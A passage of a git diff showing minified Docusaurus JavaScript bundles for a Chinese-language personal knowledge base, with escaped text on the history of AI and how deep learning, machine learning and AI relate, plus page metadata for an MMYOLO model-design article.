4e3a\u53ef\u80fd\u3002\u5728\u8fd9\u6837\u7684\u6280\u672f\u80cc\u666f\u4e0b\uff0c\u4eba\u5de5\u667a\u80fd\u7684\u7b2c\u4e09\u6b21\u6d6a\u6f6e\u5373\u5c06\u5230\u6765\u3002"}),"\n",(0,t.jsx)(n.p,{children:"\u4eba\u5de5\u667a\u80fd\u7684\u7b2c\u4e09\u6b21\u6d6a\u6f6e\u6709\u4e24\u4e2a\u91cd\u8981\u7684\u65f6\u95f4\u8282\u70b9\uff1a2006\u5e74\u548c2016\u5e74\u30022006\u5e74\u662f\u6df1\u5ea6\u5b66\u4e60\u53d1\u5c55\u53f2\u7684\u5206\u6c34\u5cad\u3002\u6770\u5f17\u91cc\u8f9b\u987f\u5728\u8fd9\u4e00\u5e74\u53d1\u8868\u4e86\u300a\u4e00\u79cd\u6df1\u5ea6\u7f6e\u4fe1\u7f51\u7edc\u7684\u5feb\u901f\u5b66\u4e60\u7b97\u6cd5\u300b\uff0c\u5176\u4ed6\u91cd\u8981\u7684\u6df1\u5ea6\u5b66\u4e60\u5b66\u672f\u6587\u7ae0\u4e5f\u5728\u8fd9\u4e00\u5e74\u88ab\u53d1\u5e03\uff0c\u5728\u57fa\u672c\u7406\u8bba\u5c42\u9762\u53d6\u5f97\u4e86\u82e5\u5e72\u91cd\u5927\u7a81\u7834\u3002\u800c2016\u5e743\u6708\uff0c\u8c37\u6b4cDeepMind\u7814\u53d1\u7684AlphaGo\u5728\u56f4\u68cb\u4eba\u673a\u5927\u6218\u4e2d\u51fb\u8d25\u97e9\u56fd\u804c\u4e1a\u4e5d\u6bb5\u68cb\u624b\u674e\u4e16\u4e6d\uff0c\u201c\u4eba\u5de5\u667a\u80fd\u201d\u4e00\u8bcd\u6b63\u5f0f\u8fdb\u5165\u666e\u901a\u6c11\u4f17\u7684\u89c6\u91ce\u5e76\u88ab\u9010\u6e10\u719f\u77e5\u3002\u81f3\u6b64\uff0c\u4eba\u5de5\u667a\u80fd\u6b63\u5f0f\u8fc8\u5411\u4e86\u4ece\u201c\u79d1\u7814\u9886\u57df\u7684\u5e94\u7528\u578b\u5de5\u5177\u201d\u5230\u201c\u5b9e\u7528\u6027\uff0c\u529f\u80fd\u6027\u5de5\u5177\u201d\u7684\u8f6c\u53d8\uff0c\u4eba\u5de5\u667a\u80fd\u6709\u4e86\u65b0\u7684\u7814\u7a76\u65b9\u5411\u548c\u7814\u7a76\u6a21\u5f0f\uff0c\u5373\u4ece\u8fc7\u53bb\u7684\u5b66\u672f\u4e3b\u5bfc\u578b\u7814\u7a76\u9010\u6e10\u8d70\u5411\u4e86\u5546\u4e1a\u4e3b\u5bfc\u578b\u7814\u7a76\u3002\u968f\u7740\u4eba\u7c7b\u793e\u4f1a\u5bf9\u667a\u80fd\u5316\u5de5\u5177\u7684\u4e0d\u65ad\u8ffd\u6c42\u548c\u63a2\u7d22\uff0c\u4eba\u5de5\u667a\u80fd\u7684\u53d1\u5c55\u8fce\u6765\u4e86\u5168\u65b0\u7684\u65f6\u4ee3\u3002"}),"\n",(0,t.jsx)(n.h3,{id:"114-\u603b\u7ed3",children:"1.1.4 \u603b\u7ed3"}),"\n",(0,t.jsx)(n.p,{children:(0,t.jsx)(n.img,{src:i(30757).A+"",width:"1072",height:"730"})}),"\n",(0,t.jsx)(n.p,{children:"\u4e0a\u56fe\u662f\u5bf9\u4eba\u5de5\u667a\u80fd\u53d1\u5c55\u4e2d\u7ecf\u5386\u7684\u4e09\u6b21\u6d6a\u6f6e\u548c\u4e24\u6b21\u5bd2\u51ac\u7684\u5f62\u8c61\u603b\u7ed3\u3002\u9664\u6b64\u4e4b\u5916\uff0c\u6709\u89c2\u70b9\u8ba4\u4e3a\uff0c\u6df1\u5ea6\u5b66\u4e60\u7b97\u6cd5\u5e26\u6765\u7684\u201c\u6280\u672f\u7ea2\u5229\u201d\uff0c\u5c06\u652f\u6491\u6211\u4eec\u518d\u53d1\u5c555~10\u5e74\u65f6\u95f4\uff0c\u968f\u540e\u5c31\u4f1a\u9047\u5230\u74f6\u9888\u3002\u4eba\u5de5\u667a\u80fd\u4e0d\u662f\u4e00\u4e2a\u7b80\u5355\u7684\u4ece1\u5230100\u8fdb\u6b65\u7684\u8fc7\u7a0b\uff0c\u5b83\u5f80\u5f80\u8d8b\u5411\u4e8e\u4e24\u4e2a\u6781\u7aef\uff1a\u8981\u4e4890\u5206\u4ee5\u4e0a\uff0c\u5176\u5b83\u7684\u90fd\u662f10\u5206\u4ee5\u4e0b\u3002\u76ee\u524d\uff0c\u4eba\u5de5\u667a\u80fd\u6025\u9700\u5bfb\u627e\u5230\u4e00\u4e2a\u201c\u6280\u672f\u5947\u70b9\u201d\uff0c\u8ba9\u4eba\u5de5\u667a\u80fd\u8fc5\u901f\u53d1\u5c55\u5230\u901a\u7528\u4eba\u5de5\u667a\u80fd\u751a\u81f3\u662f\u8d85\u7ea7\u4eba\u5de5\u667a\u80fd\u7684\u6c34\u5e73\u3002\u5426\u5219\uff0c\u5728\u4eba\u5de5\u667a\u80fd\u7814\u7a76\u5546\u4e1a\u5316\u7684\u4eca\u5929\uff0c\u65e0\u6cd5\u4ece\u4e2d\u83b7\u5229\u7684\u6295\u8d44\u4eba\u4eec\u5c06\u5feb\u901f\u64a4\u8d44\u9000\u573a\uff0c\u4eba\u5de5\u667a\u80fd\u6216\u5c06\u8fdb\u5165\u4e0b\u4e00\u4e2a\u5bd2\u51ac\u3002"}),"\n",(0,t.jsx)(n.h2,{id:"12-dlmlai\u4e09\u8005\u4e4b\u95f4\u7684\u5173\u7cfb",children:"1.2 DL,ML,AI\u4e09\u8005\u4e4b\u95f4\u7684\u5173\u7cfb"}),"\n",(0,t.jsx)(n.p,{children:"\u5927\u5bb6\u5bf9\u201c\u4eba\u5de5\u667a\u80fd\u201d\u8fd9\u4e2a\u8bcd\uff0c\u4e5f\u5c31\u662f\u6211\u4eec\u6240\u8c13\u7684\u201cAI\u201d\uff08Artificial Intelligence\uff09\u60f3\u5fc5\u662f\u975e\u5e38\u719f\u6089\uff0c\u65e0\u8bba\u662f\u8fd1\u51e0\u5e74\u5404\u884c\u5404\u4e1a\u90fd\u559c\u6b22\u7528\u4f5c\u8425\u9500\u5671\u5934\u7684\u201c\u667a\u80fd\u5316\u201d\u8fd8\u662f\u65e9\u671f\u7535\u5f71\u5982\u300a\u9ed1\u5ba2\u5e1d\u56fd\u300b\u3001\u300a\u7ec8\u7ed3\u8005\u300b\u7b49\uff0c\u90fd\u8ba9AI\u8fd9\u4e2a\u6982\u5ff5\u6df1\u5165\u4eba\u5fc3\u3002\u4f46\u8fd1\u51e0\u5e74\uff0c\u53e6\u5916\u4e24\u4e2a\u8bcd\u8bed\u4e5f\u5728\u9010\u6b65\u8fdb\u5165\u6211\u4eec\u7684\u751f\u6d3b\uff0c\u5373\u5c31\u662f\u201c\u673a\u5668\u5b66\u4e60\uff08Machine Learning\uff0cML\uff09\u201d\u548c\u201c\u6df1\u5ea6\u5b66\u4e60\uff08Deep Learning\uff0cDL\uff09\u201d\u3002\u5728\u63a5\u4e0b\u6765\u7684\u53d9\u8ff0\u4e2d\uff0c\u6211\u4eec\u5c31\u5c06\u4e86\u89e3DL\u548cML\u7a76\u7adf\u662f\u4ec0\u4e48\uff0c\u4ee5\u53ca\u5b83\u4eec\u548cAI\u4e4b\u95f4\u7684\u5173\u7cfb\u3002"}),"\n",(0,t.jsx)(n.h3,{id:"121-dl\u548cml\u662f\u4ec0\u4e48",children:"1.2.1 DL\u548cML\u662f\u4ec0\u4e48"}),"\n",(0,t.jsx)(n.p,{children:"Machine Learning\uff08\u673a\u5668\u5b66\u4e60\uff09\u3002\u5b83\u57281959\u5e74\u88ab\u673a\u5668\u5b66\u4e60\u7684\u5148\u9a71\u8005\u4e4b\u4e00\u7684\u963f\u745f\xb7\u585e\u7f2a\u5c14\u5b9a\u4e49\u4e3a\uff1a\u4e00\u95e8\u7814\u7a76\u9886\u57df\uff0c\u5b83\u8d4b\u4e88\u8ba1\u7b97\u673a\u65e0\u9700\u660e\u786e\u7f16\u7a0b\u5c31\u80fd\u5b66\u4e60\u7684\u80fd\u529b\u3002\u4e5f\u5c31\u662f\u8bf4\uff0c\u673a\u5668\u5b66\u4e60\u7a0b\u5e8f\u4e0d\u540c\u4e8e\u4f20\u7edf\u7f16\u7a0b\u90a3\u6837\uff0c\u4f7f\u7528if-then\u8bed\u53e5\u90a3\u6837\u660e\u786e\u5730\u8f93\u5165\u5230\u8ba1\u7b97\u673a\u4e2d\u4ee5\u4fbf\u5b83\u6839\u636e\u6761\u4ef6\u6267\u884c\u3002\u5728\u67d0\u79cd\u610f\u4e49\u4e0a\uff0c\u673a\u5668\u5b66\u4e60\u7a0b\u5e8f\u8d4b\u4e88\u673a\u5668\u6839\u636e\u6240\u63a5\u89e6\u5230\u7684\u6570\u636e\u8fdb\u884c\u81ea\u6211\u8c03\u6574\u7684\u80fd\u529b\u3002\u673a\u5668\u5b66\u4e60\u66f4\u50cf\u662f\u4e00\u79cd\u4f18\u5316\u7b97\u6cd5\uff0c\u5982\u679c\u6211\u4eec\u5728\u4e8b\u5148\u5c31\u5bf9\u5b83\u8fdb\u884c\u4e86\u6b63\u786e\u7684\u8c03\u6574\uff0c\u90a3\u4e48\u5b83\u5c31\u4f1a\u5728\u4e00\u904d\u53c8\u4e00\u904d\u7684\u5c1d\u8bd5\u548c\u731c\u6d4b\u4e4b\u4e2d\u4e0d\u65ad\u51cf\u5c11\u5b83\u7684\u9519\u8bef\uff0c\u4ee5\u65e0\u9650\u903c\u8fd1\u4e8e\u6700\u7ec8\u7684\u6b63\u786e\u7ed3\u679c\u3002\u800c\u673a\u5668\u5b66\u4e60\u7684\u57fa\u672c\u601d\u8def\uff0c\u4e5f\u5c31\u662f\u5c06\u73b0\u5b9e\u95ee\u9898\u62bd\u8c61\u6210\u4e3a\u4e00\u4e2a\u6570\u5b66\u95ee\u9898\uff0c\u673a\u5668\u901a\u8fc7\u8bad\u7ec3\uff0c\u5bfb\u627e\u5230\u89e3\u51b3\u6570\u5b66\u95ee\u9898\u7684\u65b9\u6cd5\uff0c\u8fdb\u800c\u89e3\u51b3\u73b0\u5b9e\u95ee\u9898\u3002"}),"\n",(0,t.jsx)(n.p,{children:"Deep Learning\uff08\u6df1\u5ea6\u5b66\u4e60\uff09\u3002\u5b83\u57282006\u5e74\u88ab\u63d0\u51fa\uff0c\u5e76\u5728\u8fd1\u4e9b\u5e74\u5f97\u5230\u4e86\u8fc5\u901f\u7684\u53d1\u5c55\u3002\u5b83\u901a\u8fc7\u5efa\u7acb\u3001\u6a21\u62df\u4eba\u8111\u8fdb\u884c\u5206\u6790\u5b66\u4e60\u7684\u795e\u7ecf\u7f51\u7edc\uff0c\u5e76\u6a21\u4eff\u4eba\u8111\u7684\u673a\u5236\u6765\u89e3\u91ca\u6570\u636e\u3002\u674e\u5f00\u590d\u6559\u6388\u5728\u300a\u4eba\u5de5\u667a\u80fd\u300b\u4e00\u4e66\u4e2d\u8fd9\u6837\u89e3\u91ca\u6df1\u5ea6\u5b66\u4e60\uff1a\u201c\u5047\u8bbe\u6df1\u5ea6\u5b66\u4e60\u8981\u5904\u7406\u7684\u4fe1\u606f\u662f\u201c\u6c34\u6d41\u201d\uff0c\u800c\u5904\u7406\u6570\u636e\u7684\u6df1\u5ea6\u5b66\u4e60\u7f51\u7edc\u662f\u4e00\u4e2a\u7531\u7ba1\u9053\u548c\u9600\u95e8\u7ec4\u6210\u7684\u5de8\u5927\u6c34\u7ba1\u7f51\u7edc\u3002\u7f51\u7edc\u7684\u5165\u53e3\u662f\u82e5\u5e72\u7ba1\u9053\u5f00\u53e3\uff0c\u7f51\u7edc\u7684\u51fa\u53e3\u4e5f\u662f\u82e5\u5e72\u7ba1\u9053\u5f00\u53e3\u3002\u8fd9\u4e2a\u6c34\u7ba1\u7f51\u7edc\u6709\u8bb8\u591a\u5c42\uff0c\u6bcf\u4e00\u5c42\u7531\u8bb8\u591a\u4e2a\u53ef\u4ee5\u63a7\u5236\u6c34\u6d41\u6d41\u5411\u4e0e\u6d41\u91cf\u7684\u8c03\u8282\u9600\u3002\u6839\u636e\u4e0d\u540c\u4efb\u52a1\u7684\u9700\u8981\uff0c\u6c34\u7ba1\u7f51\u7edc\u7684\u5c42\u6570\u3001\u6bcf\u5c42\u7684\u8c03\u8282\u9600\u6570\u91cf\u53ef\u4ee5\u6709\u4e0d\u540c\u7684\u53d8\u5316\u7ec4\u5408\u3002\u5bf9\u590d\u6742\u4efb\u52a1\u6765\u8bf4\uff0c\u8c03\u8282\u9600\u7684\u603b\u6570\u53ef\u4ee5\u6210\u5343\u4e0a\u4e07\u751a\u81f3\u66f4\u591a\u3002\u6c34\u7ba1\u7f51\u7edc\u4e2d\uff0c\u6bcf\u4e00\u5c42\u7684\u6bcf\u4e2a\u8c03\u8282\u9600\u90fd\u901a\u8fc7\u6c34\u7ba1\u4e0e\u4e0b\u4e00\u5c42\u7684\u6240\u6709\u8c03\u8282\u9600\u8fde\u63a5\u8d77\u6765\uff0c\u7ec4\u6210\u4e00\u4e2a\u4ece\u524d\u5230\u540e\uff0c\u9010\u5c42\u5b8c\u5168\u8fde\u901a\u7684\u6c34\u6d41\u7cfb\u7edf\u3002\u201d"}),"\n",(0,t.jsx)(n.h3,{id:"122-\u5b83\u4eec\u548cai\u7684\u5173\u7cfb",children:"1.2.2 \u5b83\u4eec\u548cAI\u7684\u5173\u7cfb"}),"\n",(0,t.jsx)(n.p,{children:"\u4f17\u6240\u5468\u77e5\uff0c\u4eba\u5de5\u667a\u80fd\u662f\u7814\u7a76\u3001\u5f00\u53d1\u7528\u4e8e\u6a21\u62df\u3001\u5ef6\u4f38\u548c\u6269\u5c55\u4eba\u7684\u667a\u80fd\u7684\u7406\u8bba\u3001\u65b9\u6cd5\u3001\u6280\u672f\u53ca\u5e94\u7528\u7cfb\u7edf\u7684\u4e00\u95e8\u6280\u672f\u79d1\u5b66\u3002\u65e2\u7136\u5982\u6b64\uff0c\u90a3\u4e48\u8ba1\u7b97\u5668\u7b97\u662f\u4eba\u5de5\u667a\u80fd\u5417\uff1f\u4e25\u683c\u5730\u8bf4\u662f\u7b97\u7684\uff0c\u56e0\u4e3a\u5b83\u81f3\u5c11\u505a\u4e86\u201c\u6a21\u62df\u201d\u4eba\u5728\u8ba1\u7b97\u65b9\u9762\u7684\u667a\u80fd\uff0c\u5e76\u6269\u5c55\u4e86\u8fd9\u4e2a\u80fd\u529b\uff08\u6bd4\u4eba\u7b97\u5f97\u66f4\u5feb\uff09\u3002\u6211\u4eec\u901a\u8fc7\u4ee3\u7801\u9a71\u52a8\u8ba1\u7b97\u673a\u53bb\u5e2e\u6211\u4eec\u5e72\u6d3b\uff0c\u8fd9\u4e2a\u7b97\u662f\u4eba\u5de5\u667a\u80fd\u5417\uff1f\u4e5f\u7b97\u7684\u3002\u6211\u4eec\u73b0\u5728\u770b\u5230\u7684\u8c8c\u4f3c\u5f88\u9ad8\u7aef\u7684\u6280\u672f\uff0c\u5982\u56fe\u50cf\u8bc6\u522b\u3001NLP\uff0c\u5176\u5b9e\u4f9d\u7136\u6ca1\u6709\u8131\u79bb\u8fd9\u4e2a\u8303\u56f4\uff0c\u8bf4\u767d\u4e86\uff0c\u5c31\u662f\u201c\u6a21\u62df\u4eba\u5728\u770b\u56fe\u65b9\u9762\u7684\u667a\u80fd\u201d\u548c\u201c\u6a21\u62df\u4eba\u5728\u542c\u8bdd\u65b9\u9762\u7684\u667a\u80fd\u201d\uff0c\u672c\u8d28\u4e0a\u548c\u201c\u6a21\u62df\u4eba\u5728\u8ba1\u7b97\u65b9\u9762\u7684\u667a\u80fd\u201d\u6ca1\u5565\u4e24\u6837\uff0c\u867d\u7136\u96be\u5ea6\u6709\u9ad8\u4f4e\uff0c\u4f46\u76ee\u7684\u662f\u4e00\u6837\u7684\u2014\u2014\u6a21\u62df\u3001\u5ef6\u4f38\u548c\u6269\u5c55\u4eba\u7684\u667a\u80fd\u3002"}),"\n",(0,t.jsx)(n.p,{children:"\u968f\u7740\u4eba\u5bf9\u8ba1\u7b97\u673a\u7684\u671f\u671b\u8d8a\u6765\u8d8a\u9ad8\uff0c\u8981\u6c42\u5b83\u89e3\u51b3\u7684\u95ee\u9898\u8d8a\u6765\u8d8a\u590d\u6742\uff0c\u4ec5\u4ec5\u7b97\u7684\u66f4\u5feb\uff0c\u770b\u7684\u66f4\u51c6\u5df2\u7ecf\u8fdc\u8fdc\u4e0d\u80fd\u6ee1\u8db3\u4eba\u4eec\u7684\u8bc9\u6c42\u4e86\u3002\u8981\u89e3\u51b3\u7684\u95ee\u9898\u57df\u8d8a\u6765\u8d8a\u590d\u6742\uff0c\u5373\u4f7f\u662f\u540c\u4e00\u4e2a\u95ee\u9898\uff0c\u5176\u9762\u5bf9\u7684\u573a\u666f\u4e5f\u8d8a\u6765\u8d8a\u591a\u3002\u4f20\u7edf\u7684\u601d\u8def\u5c31\u662f\u67e5\u627e\u95ee\u9898\u7684\u6761\u4ef6\u548c\u89e3\u51b3\u65b9\u6cd5\uff0c\u5728\u8ba1\u7b97\u673a\u7a0b\u5e8f\u4e2d\u518d\u52a0\u5165\u4e00\u4e2aif-then\u3002\u4f46\u8fd9\u53ea\u662f\u6cbb\u6807\u4e0d\u6cbb\u672c\u3002\u968f\u7740\u6211\u4eec\u671f\u5f85\u89e3\u51b3\u7684\u95ee\u9898\u8d8a\u6765\u8d8a\u591a\uff0c\u8ba1\u7b97\u673a\u7a0b\u5e8f\u5c06\u8d8a\u6765\u8d8a\u590d\u6742\uff0c\u8d8a\u6765\u8d8a\u96be\u4ee5\u7ef4\u62a4\u3002\u90a3\u600e\u4e48\u529e\u5462\uff1f\u4e8e\u662f\u6709\u4eba\u63d0\u51fa\u4e86\u4e00\u4e2a\u65b0\u7684\u601d\u8def\u2014\u2014\u80fd\u5426\u4e0d\u4e3a\u96be\u7801\u519c\uff0c\u8ba9\u673a\u5668\u81ea\u5df1\u53bb\u5b66\u4e60\u5462\uff1f"}),"\n",(0,t.jsx)(n.p,{children:"\u81f3\u6b64\uff0c\u201c\u673a\u5668\u5b66\u4e60\u201d\u7684\u6982\u5ff5\uff0c\u6b63\u5f0f\u8bde\u751f\u3002\u673a\u5668\u5b66\u4e60\u5c31\u662f\u7528\u7b97\u6cd5\u89e3\u6790\u6570\u636e\uff0c\u4e0d\u65ad\u5b66\u4e60\uff0c\u5bf9\u4e16\u754c\u4e2d\u53d1\u751f\u7684\u4e8b\u505a\u51fa\u5224\u65ad\u548c\u9884\u6d4b\u7684\u4e00\u9879\u6280\u672f\u3002\u7814\u7a76\u4eba\u5458\u4e0d\u4f1a\u4eb2\u624b\u7f16\u5199\u8f6f\u4ef6\u3001\u786e\u5b9a\u7279\u6b8a\u6307\u4ee4\u96c6\u3001\u7136\u540e\u8ba9\u7a0b\u5e8f\u5b8c\u6210\u7279\u6b8a\u4efb\u52a1\uff1b\u76f8\u53cd\uff0c\u7814\u7a76\u4eba\u5458\u4f1a\u7528\u5927\u91cf\u6570\u636e\u548c\u7b97\u6cd5\u201c\u8bad\u7ec3\u201d\u673a\u5668\uff0c\u8ba9\u673a\u5668\u81ea\u884c\u5b66\u4f1a\u5982\u4f55\u6267\u884c\u4efb\u52a1\u3002\u8bf4\u767d\u4e86\uff0c\u673a\u5668\u5b66\u4e60\u53ea\u662f\u4eba\u4eec\u5b9e\u73b0\u8ba9\u673a\u5668\u201c\u6a21\u62df\u3001\u5ef6\u4f38\u548c\u6269\u5c55\u4eba\u7684\u667a\u80fd\u201d\u7684\u4e00\u79cd\u8f83\u4e3a\u8f7b\u677e\u7684\u65b9\u6cd5\u7f62\u4e86\u3002\u5b83\u7684\u6210\u529f\u4e0e\u5426\u53d6\u51b3\u4e8e\u6211\u4eec\u5582\u7ed9\u673a\u5668\u7684\u6570\u636e\u96c6\u662f\u5426\u51c6\u786e\u4e14\u6709\u6548\u3002\u56e0\u6b64\uff0c\u673a\u5668\u5b66\u4e60\u662f\u5927\u6570\u636e\u6280\u672f\u9886\u57df\u5185\u7684\u4e00\u4e2a\u5e94\u7528\uff0c\u4eba\u4eec\u53ea\u662f\u501f\u7528\u8fd9\u4e2a\u5e94\u7528\uff0c\u6765\u53d1\u5c55\u4eba\u5de5\u667a\u80fd\u7f62\u4e86\u3002\u673a\u5668\u5b66\u4e60\u53d1\u5c55\u4e86\u51e0\u5341\u5e74\u4e4b\u540e\uff0c\u518d\u6b21\u9047\u5230\u4e86\u74f6\u9888\u671f\u3002\u968f\u7740\u95ee\u9898\u573a\u666f\u7684\u66f4\u52a0\u590d\u6742\u591a\u53d8\uff0c\u9700\u8981\u8fdb\u884c\u5224\u65ad\u7684\u6761\u4ef6\u66f4\u52a0\u82db\u523b\uff0c\u4eba\u4eec\u4e0d\u5f97\u4e0d\u91cd\u65b0\u601d\u8003\u4e00\u79cd\u65b9\u5f0f\u6765\u4f18\u5316\u673a\u5668\u5b66\u4e60\u3002\u6df1\u5ea6\u5b66\u4e60\u5c31\u662f\u5e26\u7740\u8fd9\u4e2a\u76ee\u7684\u88ab\u63d0\u51fa\u7684\u3002"}),"\n",(0,t.jsx)(n.p,{children:"\u673a\u5668\u5b66\u4e60\u4e2d\u6709\u4e00\u4e2a\u6982\u5ff5\u53eb\u201c\u795e\u7ecf\u7f51\u7edc\u201d\uff0c\u6df1\u5ea6\u5b66\u4e60\u6b63\u662f\u901a\u8fc7\u4f18\u5316\u8fd9\u4e2a\u7f51\u7edc\u6765\u66f4\u597d\u7684\u89e3\u51b3\u901a\u8fc7\u673a\u5668\u5b66\u4e60\u96be\u4ee5\u89e3\u51b3\u7684\u95ee\u9898\u3002\u5b83\u7684\u57fa\u672c\u7279\u70b9\uff0c\u5c31\u662f\u8bd5\u56fe\u6a21\u4eff\u5927\u8111\u7684\u795e\u7ecf\u5143\u4e4b\u95f4\u4f20\u9012\uff0c\u5904\u7406\u4fe1\u606f\u7684\u6a21\u5f0f\uff0c\u901a\u8fc7\u4e0d\u540c\u7684\u201c\u5c42\u201d\u6765\u62c6\u5206\u95ee\u9898\uff0c\u6bcf\u4e00\u5c42\u89e3\u51b3\u95ee\u9898\u7684\u4e00\u4e2a\u90e8\u5206\u3002\u6bd4\u5982\u5728\u5229\u7528\u6df1\u5ea6\u5b66\u4e60\u89e3\u51b3\u667a\u80fd\u9a7e\u9a76\u95ee\u9898\u4e2d\uff0c\u7b2c\u4e00\u5c42\u53ef\u80fd\u7528\u4e8e\u8bc6\u522b\u8f66\u8f86\u4e0e\u9053\u8def\u8fb9\u7f18\u7684\u8ddd\u79bb\uff0c\u7b2c\u4e8c\u5c42\u7528\u4e8e\u8bc6\u522b\u9053\u8def\u6807\u7ebf\uff0c\u7b2c\u4e09\u5c42\u7528\u4e8e\u8bc6\u522b\u8def\u4e0a\u7684\u5176\u4ed6\u8f66\u8f86\u7b49\u7b49\u3002"}),"\n",(0,t.jsx)(n.p,{children:"\u901a\u8fc7\u4ee5\u4e0a\u51e0\u6bb5\u8bdd\u7684\u7b80\u5355\u63cf\u8ff0\uff0cDL,ML\u548cAI\u4e4b\u95f4\u7684\u5173\u7cfb\u4e5f\u5c31\u660e\u786e\u4e86\u3002\u5b83\u4eec\u4e09\u8005\u7684\u5173\u7cfb\u5c31\u50cf\u662f\u4fc4\u7f57\u65af\u5957\u5a03\uff1aAI\u6700\u5927\uff0c\u5b83\u7684\u76ee\u7684\u662f\u901a\u8fc7\u8ba9\u673a\u5668\u6a21\u4eff\u4eba\u7c7b\u8fdb\u800c\u8d85\u8d8a\u4eba\u7c7b\uff1bML\u6b21\u4e4b\uff0c\u5b83\u662fAI\u7684\u4e00\u4e2a\u5206\u652f\uff08\u4e5f\u662f\u6700\u91cd\u8981\u5206\u652f\uff09\uff0c\u662f\u8ba9\u673a\u5668\u6a21\u4eff\u4eba\u7c7b\u7684\u4e00\u79cd\u65b9\u6cd5\uff1bDL\u66f4\u6b21\u4e4b\uff0c\u5b83\u662fML\u7684\u4e00\u4e2a\u5206\u652f\uff0c\u5b83\u7684\u76ee\u7684\u662f\u8ba9\u673a\u5668\u4e0d\u501f\u52a9\u4eba\u5de5\u6807\u6ce8\uff0c\u4e5f\u80fd\u81ea\u4e3b\u63d0\u53d6\u76ee\u6807\u7279\u5f81\u8fdb\u800c\u89e3\u51b3\u95ee\u9898\u7684\u4e00\u79cd\u65b9\u6cd5\u3002"}),"\n",(0,t.jsx)(n.p,{children:"\u6700\u540e\uff0c\u501f\u7528\u4e00\u5f20\u7ecf\u5178\u7684\u5173\u7cfb\u56fe\u4f5c\u4e3a\u7ed3\u5c3e\uff1a"}),"\n",(0,t.jsx)(n.p,{children:(0,t.jsx)(n.img,{src:i(70804).A+"",width:"1237",height:"658"})})]})}function x(e={}){const{wrapper:n}={...(0,s.R)(),...e.components};return n?(0,t.jsx)(n,{...e,children:(0,t.jsx)(a,{...e})}):a(e)}},28453:(e,n,i)=>{i.d(n,{R:()=>r,x:()=>d});var l=i(96540);const t={},s=l.createContext(t);function r(e){const n=l.useContext(s);return l.useMemo(function(){return"function"==typeof e?e(n):{...n,...e}},[n,e])}function d(e){let n;return n=e.disableParentContext?"function"==typeof e.components?e.components(t):e.components||t:r(e.components),l.createElement(s.Provider,{value:n},e.children)}},30757:(e,n,i)=>{i.d(n,{A:()=>l});const l=i.p+"assets/images/AI-eb8a89aeff51a1b7b3a58b69692e35ab.jpg"},70804:(e,n,i)=>{i.d(n,{A:()=>l});const l=i.p+"assets/images/AI&ML&DL-cb4ef7708a7c0da09a5a14fda7b7d433.jpg"}}]); \ No newline at end of file diff --git a/en/assets/js/3dfe6aad.16a1d91e.js b/en/assets/js/3dfe6aad.16a1d91e.js new file mode 100644 index 0000000..baf3e6a --- /dev/null +++ b/en/assets/js/3dfe6aad.16a1d91e.js @@ -0,0 +1 @@ +"use strict";(globalThis.webpackChunkblog=globalThis.webpackChunkblog||[]).push([[4373],{28453:(e,n,s)=>{s.d(n,{R:()=>l,x:()=>c});var d=s(96540);const t={},i=d.createContext(t);function l(e){const n=d.useContext(i);return d.useMemo(function(){return"function"==typeof e?e(n):{...n,...e}},[n,e])}function c(e){let n;return n=e.disableParentContext?"function"==typeof e.components?e.components(t):e.components||t:l(e.components),d.createElement(i.Provider,{value:n},e.children)}},50810:(e,n,s)=>{s.r(n),s.d(n,{assets:()=>o,contentTitle:()=>c,default:()=>h,frontMatter:()=>l,metadata:()=>d,toc:()=>r});const d=JSON.parse('{"id":"\u4e2a\u4eba\u77e5\u8bc6\u5e93/AI/PyTorch/\u7b2c\u5341\u7ae0/YOLO\u7cfb\u5217\u89e3\u8bfb/MMYOLO\u5b9e\u73b0/model_design","title":"model_design.md","description":"|\u4f5c\u8005|\u4fee\u8ba2\u65f6\u95f4|","source":"@site/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/10.AI/01.PyTorch/10.\u7b2c\u5341\u7ae0/YOLO\u7cfb\u5217\u89e3\u8bfb/MMYOLO\u5b9e\u73b0/model_design.md","sourceDirName":"\u4e2a\u4eba\u77e5\u8bc6\u5e93/10.AI/01.PyTorch/10.\u7b2c\u5341\u7ae0/YOLO\u7cfb\u5217\u89e3\u8bfb/MMYOLO\u5b9e\u73b0","slug":"/\u4e2a\u4eba\u77e5\u8bc6\u5e93/AI/PyTorch/\u7b2c\u5341\u7ae0/YOLO\u7cfb\u5217\u89e3\u8bfb/MMYOLO\u5b9e\u73b0/model_design","permalink":"/en/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/AI/PyTorch/\u7b2c\u5341\u7ae0/YOLO\u7cfb\u5217\u89e3\u8bfb/MMYOLO\u5b9e\u73b0/model_design","draft":false,"unlisted":false,"editUrl":"https://github.com/facebook/docusaurus/tree/main/packages/create-docusaurus/templates/shared/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/10.AI/01.PyTorch/10.\u7b2c\u5341\u7ae0/YOLO\u7cfb\u5217\u89e3\u8bfb/MMYOLO\u5b9e\u73b0/model_design.md","tags":[],"version":"current","frontMatter":{},"sidebar":"tutorialSidebar","previous":{"title":"MMYOLO\u5b9e\u73b0","permalink":"/en/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/AI/PyTorch/\u7b2c\u5341\u7ae0/YOLO\u7cfb\u5217\u89e3\u8bfb/MMYOLO\u5b9e\u73b0/"},"next":{"title":"rtmdet_description.md","permalink":"/en/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/AI/PyTorch/\u7b2c\u5341\u7ae0/YOLO\u7cfb\u5217\u89e3\u8bfb/MMYOLO\u5b9e\u73b0/rtmdet_description"}}');var t=s(74848),i=s(28453);const l={},c="model_design.md",o={},r=[{value:"YOLO \u7cfb\u5217\u6a21\u578b\u57fa\u7c7b",id:"yolo-\u7cfb\u5217\u6a21\u578b\u57fa\u7c7b",level:2},{value:"BaseBackbone",id:"basebackbone",level:3},{value:"BaseYOLONeck",id:"baseyoloneck",level:3},{value:"BaseDenseHead",id:"basedensehead",level:3},{value:"HeadModule",id:"headmodule",level:2}];function a(e){const 